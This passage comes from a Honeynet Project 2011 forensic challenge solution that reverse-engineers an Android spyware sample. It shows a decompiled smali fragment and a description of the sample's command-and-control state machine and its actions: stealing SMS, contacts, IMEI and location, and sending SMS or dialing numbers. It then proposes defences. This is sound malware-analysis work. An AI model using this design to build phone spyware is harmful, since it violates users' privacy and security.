//Transitions (daemon/b/f) const-string v1, "INIT_OK" invoke-direct {v0, v1, v3}, Lcom/fc9/currencyguide/daemon/b/f;-><init>(Ljava/lang/String;I)V sput-object v0, Lcom/fc9/currencyguide/daemon/b/f;->a:Lcom/fc9/currencyguide/daemon/b/f; new-instance v0, Lcom/fc9/currencyguide/daemon/b/f; const-string v1, "NEGOTIATE_OK" invoke-direct {v0, v1, v4}, Lcom/fc9/currencyguide/daemon/b/f;-><init>(Ljava/lang/String;I)V sput-object v0, Lcom/fc9/currencyguide/daemon/b/f;->b:Lcom/fc9/currencyguide/daemon/b/f; new-instance v0, Lcom/fc9/currencyguide/daemon/b/f;
[…]
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 15 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
We can identify 6 states and 11 transitions. By having a look at daemon.b.c.a(), we can reconstruct the graph of the state machine implemented in the malware :
During the REQUESTING state, the malware sends requests to the C&C server, including its IMEI, IMSI, operator name and location. The server sends back a XML file that the malware parse during the PARSING state, using the SAXParser API
(in daemon/b/i). Then, it executes the orders embedded in this file.
Each action is located in the daemon.c
package, and inherits from the “f” superclass. Here are the available actions (we renamed them based on the decrypted strings) :
goto: Start the browser and open a given webpage
call: Dial a given number
getsms: Read the SMS stored on the phone, and sends them to the C&C server
vibrate: Vibrate for a given number of miliseconds
smsspy: Sends every SMS received to the C&C server in real time by registering a broadcast receiver
smsunspy: Stop sending SMS by unregister the broadcast receiver
getcontacts: Sends the contacts to the C&C server
sendsms: Send a SMS to a given number (and with a given body)
The “e” class is responsible for dispatching the actions by parsing the XML tags found in the server response. When an action needs to send a result to the server, it uses the daemon.f.a() method, which is a wrapper for the Apache HTTP client.
Bonus Question. Please provide a method to block (or request permission from Android
(similar to UAC concept)) when any suspicious call received from Android.
Tools Used:
Possible Points: 8pts
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 16 of 17
T H E H O N E Y N E T P R O J E C T® | Forensic Challenge 2011
Awarded Points:
Solution 1
One could develop an app that registers a specific activity or service for all potential malicious intents. This can be done in the manifest of the app, by specifying an IntentFilter that contains <action> tags, and a high priority, such as :
<intent-filter>
<action android:name="android.intent.action.VIEW"
[...]
</intent-filter> android:priority="999" />
I am not an expert in Android internals, but I guess it may be possible to write this activity or service such as it asks the user for his permission before starting the appropriate activity.
Solution 2
Another solution could be to modify the source code of the framework, and especially the
PackageManager.findPreferredActivity() method, in order to ask the user after selecting the appropriate Activity for a given
Intent. One could do the same kind of modification with ContentProvider.acquireProvider() in order to filter any suspicious query on personal data (such as SMS).
The inconvenient of this solution is that it requires recompiling the whole framework.
Solution 3
Each sensitive application could implement a UAC when it receives intents from other applications. For instance, the application responsible for dialing numbers could ask the user systematically when receiving a request from another application, and why not maintain an internal Access Control List. This ACL could also be maintain directly by Android, and filter dynamically all intents made from an application A to a ContentProvider or Activity.
In any case, this requires a dynamic permission checking and user interaction, for which Android static permission system does not seem to be designed:
“Android has no mechanism for granting permissions dynamically (at run-time) because it complicates the user experience to the detriment of security.”
From: http://developer.android.com/guide/topics/security/security.html
The work is licensed under a
Creative Commons License
Copyright
© The Honeynet Project, 2011
.
Page 17 of 17